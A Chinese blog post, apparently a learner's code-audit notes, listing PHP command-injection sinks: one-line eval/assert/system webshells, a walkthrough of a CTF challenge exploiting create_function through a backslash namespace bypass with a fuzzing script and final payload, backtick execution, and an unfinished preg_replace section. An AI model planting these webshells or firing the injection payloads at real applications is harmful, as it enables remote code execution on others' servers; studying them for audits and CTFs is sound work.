菠萝吹雪's Studio.

记PHP命令注入函数

字数统计: 757阅读时长: 3 min
2019/03/16 Share

记PHP命令注入函数

前言

最近开始学php代码审计,码一下审计过程中可能出现的命令注入函数,以后遇到别的姿势会更新

1.eval,assert,system

关于system函数就不说明了
关于eval,和assert的区别可以看smi1e师傅的文章:

1
https://www.smi1e.top/%E6%B5%85%E8%B0%88eval%E5%92%8Cassert/

1
2
3
4
5
6
7
8
9
10
11
<?php
@eval($_GET['1']);
?>

<?php
@assert($_POST['1']);
?>

<?php
@system($_GET["1"]);
?>

2.create_function

最近在做p牛的Code-Breaking 时遇到的题目
题目地址也已经开源:https://github.com/phith0n/code-breaking

贴一下题目

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

题目涉及到正则绕过和create_function函数利用正则绕过是用 \ 绕过,可以用var_dump() fuzz

贴上飘零大佬fuzz的例子,或者可以用burp爆破看一下

1
2
3
4
5
6
7
8
9
10
11
import requests
for i in range(1,256):
tmp = hex(i)[2:]
if len(tmp)<2:
tmp = '0'+hex(i)[2:]
tmp = '%'+tmp
url = 'http://localhost:22000/?action='+tmp+'var_dump&arg=23333'
r = requests.get(url=url)
if '23333' in r.content:
print r.content
print url

至于为什么可以用\绕过,具体的原因:在PHP的命名空间默认为\,所有的函数和类都在这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

绕过正则之后就会执行下面的语句

$action('', $arg);

这个时候我们需要找到一个可以传2个参数的危险函数,create_function()函数就登场了

php手册里 create_function()的用法如下

1
string create_function ( string $args , string $code )

官方样例

1
2
3
4
5
6
7
8
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

上面例子create_funtion的函数原型如下

1
2
3
4
5
6
7
<?php
function fun($a,$b)
{
return "ln($a) + ln($b) = " . log($a * $b);

}
?>

两种利用方法:如果闭合点在第一个参数
可以传
a=1)";}phpinfo();/*
这样结果就是

1
2
3
4
5
6
7
8
9
10
<?php
function fun($a,$b)
{
return "ln(1)";
}
phpinfo();
/*) + ln($b) = " . log($a * $b);

}
?>

如果闭合在第二个参数
可以传参
create_function('$a', '}phpinfo();//');
这样结果就是

1
2
3
4
5
6
<?php
function fun($a)
{
}
phpinfo();//
?>

所以题目可以传参

1
?action=%5ccreate_funtion()&arg=}phpinfo();/*

命令可以执行,之后可以用system('ls'),scandir('./');进行探测
最后贴一下最终的payload;

1
action=\create_function&arg=}var_dump(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));//

题目真的非常棒

3.反引号

用法

1
2
root@iZwz9i9xnerwj6o7h40eauZ:~# echo `ls`
1.cpp 1.png b1cx.jpg b1cx.php Desktop Documents Downloads Gopherus index.php msfinstall Music Phantom-Evasion Pictures Public Python-dsstore Templates thinkphp-5.1.29 thinkphp-exploit.zip timu Videos

所以反引号在命令注入实战中还是有不小的杀伤力

4.preg_replace()

查阅手册得到用法

1
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [12, int &$count ]] )

CATALOG
  1. 1. 记PHP命令注入函数
    1. 1.1. 前言
      1. 1.1.1. 1.eval,assert,system
      2. 1.1.2. 2.create_function
      3. 1.1.3. 3.反引号
      4. 1.1.4. 4.preg_replace()